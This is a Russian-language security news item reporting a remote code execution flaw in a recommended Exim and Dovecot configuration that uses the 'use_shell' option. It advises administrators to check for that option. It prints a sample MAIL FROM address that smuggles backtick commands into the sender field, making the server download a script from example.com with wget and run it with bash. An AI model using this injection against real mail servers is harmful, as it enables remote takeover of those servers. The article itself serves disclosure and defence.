В рекомендованном (http://wiki.dovecot.org/LDA/Exim?action=recall&rev=16) на wiki-сайте проекта и в некоторых других руководствах примере настройки связки почтового сервера Exim с IMAP/POP3-сервером Dovecot выявлена критическая уязвимость (https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-0...), позволяющая выполнить произвольный код на сервере. Уязвимость может быть эксплуатирована через отправку письма со специальным образом оформленным адресом отправителя. Проблема проявляется только в системах, в которых в конфигурации Exim указана опция "use_shell" в блоке подключения Dovecot.
Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства. Всем пользователям связки Exim и Dovecot рекомендуется проверить настройки на предмет отсутствия опции "use_shell", при включении которой агент доставки запускается с использованием shell и передачей параметров в командной строке. Метод эксплуатации достаточно прост и сводится к манипуляции с экранированием спецсимволов, позволяя в итоге добиться выполнения shell-команд.
Например, атакующий может указать:
<font color="#461b7e">
MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com
</font>
В процессе обработки такого запроса exim выполнит
<font color="#461b7e">
/bin/sh -c "/usr/lib/Dovecot/deliver -e -k -s -f \"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com"
</font>
что приведёт к запуску wget, загрузке внешнего скрипта c сайта example.com/test.sh и его запуску.
URL: https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-0...
Новость: https://www.opennet.ru/opennews/art.shtml?num=36859